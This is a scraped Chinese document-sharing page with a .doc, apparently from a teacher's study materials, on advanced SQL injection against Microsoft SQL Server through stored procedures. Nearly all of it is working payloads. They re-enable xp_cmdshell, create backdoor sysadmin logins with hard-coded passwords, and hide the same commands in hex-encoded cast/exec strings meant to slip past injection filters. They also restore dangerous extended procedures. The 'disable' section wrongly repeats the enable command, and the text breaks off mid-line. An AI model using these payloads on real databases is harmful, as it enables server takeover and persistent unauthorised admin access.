SQL高级注入使用之存储过程.doc

《SQL高级注入使用之存储过程.doc》由会员上传分享，免费在线阅读，更多相关内容在工程资料-天天文库。

1、SQL高级注入使用之存储过程以下这都是我们老师给我的学习资料呵呵！！其实我也有的看不懂，给朋友们中的一些高手看看！我还是菜鸟呢-_-！。。。。。。sql2005恢复xp_cmdshellEXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;关闭:EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE;零、--------

2、---------添加SA用户-----------------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&1、execmaster.dbo.sp_addloginsystem;2、execmaster.dbo.sp_addloginsystem,system;3、execmaster.dbo.sp_addsrvrolememberitpro,sysadmin&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&防注入sa:itpropass:itprodecl

3、are@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e20697470726fasvarchar(4000));exec(@s);declare@cvarchar(4000)set@c=cast(0x65786563206d61737465722e64626f2e73705f70617373776f7264206e756c6c2c697470726f2c697470726fasvarchar(4000));exec(@c);declare@avarchar(4000)set@

4、a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d6265722027697470726f272c2073797361646d696easvarchar(4000));exec(@a);--and1=1防注入sa:systempass:systemdeclare@svarchar(4000)set@s=cast(0x65786563206d61737465722e64626f2e73705f6164646c6f67696e2073797374656d2c73797374656dasvarchar

5、(4000));exec(@s);declare@avarchar(4000)set@a=cast(0x65786563206d61737465722e64626f2e73705f616464737276726f6c656d656d626572202773797374656d272c2073797361646d696easvarchar(4000));exec(@a);--and1=1一、---------------恢复存储过程---------------&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&usemaster

6、execsp_addextendedprocxp_cmdshell,'xp_cmdshell.dll'execsp_dropextendedproc"xp_cmdshell"execsp_addextendedproc'xp_cmdshell','xpsql70.dll'execsp_dropextendedproc'xp_cmdshell'execsp_addextendedproc'xp_cmdshell','xpweb70.dll'execsp_addextendedprocxp_dirtree,'xpstar.dll'execsp_addextendedprocxp_enumgro

7、ups,'xplog70.dll'execsp_addextendedprocxp_fixeddrives,'xpstar.dll'execsp_addextendedprocxp_loginconfig,'xplog70.dll'execsp_addextendedprocxp_enumerrorlogs,'xpstar.dll'execsp_addextendedprocxp_getfiledetails,'xpst